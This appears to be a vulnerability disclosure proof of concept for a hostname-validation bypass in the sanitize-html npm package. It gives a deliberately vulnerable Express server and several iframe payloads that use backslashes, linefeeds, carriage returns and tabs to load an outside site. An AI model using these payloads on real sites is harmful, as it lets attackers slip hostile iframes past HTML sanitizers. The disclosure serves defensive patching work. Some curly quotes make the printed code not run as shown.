Validation Bypass in sanitize-html using protocol relative URLs

1. Install vulnerable version by running npm i [email protected]
2. Write the following to a server.js file

   
   const express = require("express");
   const sanitizeHtml = require("sanitize-html");

const app = express();

app.get(“/”, (req, res) => {
const clean = sanitizeHtml(req.query.dirty, {
allowedTags: [‘iframe’],
allowedAttributes: {
iframe: [‘src’]
},
allowedIframeHostnames: [“www.youtube.com”],
allowIframeRelativeUrls: true
});
res.end(clean);
});

app.listen(8080);

3. Start the server and bypass the hostname validation by sending one of the following payloads to `http://localhost:8080/?dirty=[payload]`:
 ```text
    /\checkmarx.com

    \/checkmarx.com

    const linefeed = decodeURIComponent("%0A");
    const payload = '<iframe src="/'+linefeed+'\checkmarx.com"></iframe>';

    const creturn = decodeURIComponent("%0D");
    const payload = '<iframe src="/'+creturn+'\checkmarx.com"></iframe>';

    const tab = decodeURIComponent("%09");
    const payload = '<iframe src="/'+tab+'\checkmarx.com"></iframe>';

Expected result:

The iframe should load checkmarx.com.